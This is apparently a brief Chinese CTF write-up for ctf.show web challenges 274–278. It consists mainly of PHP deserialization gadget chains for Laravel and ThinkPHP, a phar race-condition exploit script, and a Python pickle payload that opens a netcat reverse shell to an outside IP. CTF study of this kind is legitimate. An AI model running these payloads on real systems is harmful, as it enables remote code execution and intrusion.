1 data=O%3 A40%3 A%22 Illuminate%5 CBroadcasting%5 CPendingBroadcast%22 %3 A2%3 A%7 Bs%3 A9%3 A%22 %00 %2 A%00 events%22 %3 BO%3 A25%3 A%22 Illuminate%5 CBus%5 CDispatcher%22 %3 A1%3 A%7 Bs%3 A16%3 A%22 %00 %2 A%00 queueResolver%22 %3 Ba%3 A2%3 A%7 Bi%3 A0%3 BO%3 A25%3 A%22 Mockery%5 CLoader%5 CEvalLoader%22 %3 A0%3 A%7 B%7 Di%3 A1%3 Bs%3 A4%3 A%22 load%22 %3 B%7 D%7 Ds%3 A8%3 A%22 %00 %2 A%00 event%22 %3 BO%3 A43%3 A%22 Illuminate%5 CFoundation%5 CConsole%5 CQueuedCommand%22 %3 A1%3 A%7 Bs%3 A10%3 A%22 connection%22 %3 BO%3 A32%3 A%22 Mockery%5 CGenerator%5 CMockDefinition%22 %3 A2%3 A%7 Bs%3 A9%3 A%22 %00 %2 A%00 config%22 %3 BO%3 A35%3 A%22 Mockery%5 CGenerator%5 CMockConfiguration%22 %3 A1%3 A%7 Bs%3 A7%3 A%22 %00 %2 A%00 name%22 %3 Bs%3 A4%3 A%22 feng%22 %3 B%7 Ds%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bs%3 A32%3 A%22 %3 C%3 Fphp+system%28 %27 cat+%2 Ff%2 A%27 %29 %3 Bexit%28 %29 %3 F%3 E%22 %3 B%7 D%7 D%7 D
web274 https://xz.aliyun.com/t/6619#toc-1
thinkphp 老顾客
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["lin" =>["calc.exe" ,"calc" ]]; $this ->data = ["lin" =>new Request ()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_ajax' => '_ajax' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'lin' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));?>
payload:
1 /?lin=cat /f*&data=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czozOiJsaW4iO2E6Mjp7aTowO3M6ODoiY2FsYy5leGUiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czozOiJsaW4iO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6OTtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjM6ImxpbiI7fX19fX19
lin中传入命令,data传入反序列化
web275 __destruct
当对象被销毁时调用,所以我们不需要用到反序列化函数。那么只要$this->evilfile
是true就可以执行系统命令了。 payload:
1 2 ?fn = ;cat f* post: flag=123
web276 https://blog.csdn.net/miuzzx/article/details/110558192
条件竞争 晚上挺不住,放一下别人payload: 在上个题的基础上增了了 判断$this->admin所以真的需要我们去通过反序列化修改admin的值了。因为题目中没有反序列化函数,所以需要通过其他方式。 因为题目中有写文件的函数,所以可以通过file_put_contents写phar文件,然后再通过file_put_contents触发phar反序列化。当然我们得在删除文件前执行完这两个操作,所以需要用到条件竞争。 生成phar:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php class filter { public $filename = "1|cat f*" ; public $filecontent ; public $evilfile = true ; public $admin = true ; } $phar = new Phar ("phar.phar" );$phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$o = new filter ();$phar ->setMetadata ($o );$phar ->addFromString ("test.txt" , "test" );$phar ->stopBuffering ();
条件竞争:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import threading import base64 url = 'http://b1238473-a3bb-431f-a39e-3cd285bcb95e.chall.ctf.show/' f = open ('./phar.phar' , 'rb' ) data = f.read () flag = False def work1 (): requests.post (url+"?fn=a" , data=data) def work2 (): global flag r = requests.post (url+"?fn=phar://phar.phar/" , data="" ) if "flag{" in r.text and flag is False: print (base64.b64encode (r.text.encode ())) flag = True while flag is False: a = threading.Thread (target=work1) b = threading.Thread (target=work2) a.start () b.start ()
web277、web278 1 2 3 4 5 6 7 8 import pickle import base64 class A (object ): def __reduce__ (self ): return (eval ,('__import__ ("os ").popen ("nc xxx .xxx .xxx .xxx 4567 -e /bin /sh ").read ()',)) a =A ()test =pickle .dumps (a )print (base64 .b64encode (test ))
payload:
1 /backdoor?data=gASVXwAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIxDX19pbXBvcnRfXygib3MiKS5wb3BlbigibmMgMTAxLjIwMC4xNTkuMTE5IDg4ODggLWUgL2Jpbi9zaCIpLnJlYWQoKZSFlFKULg==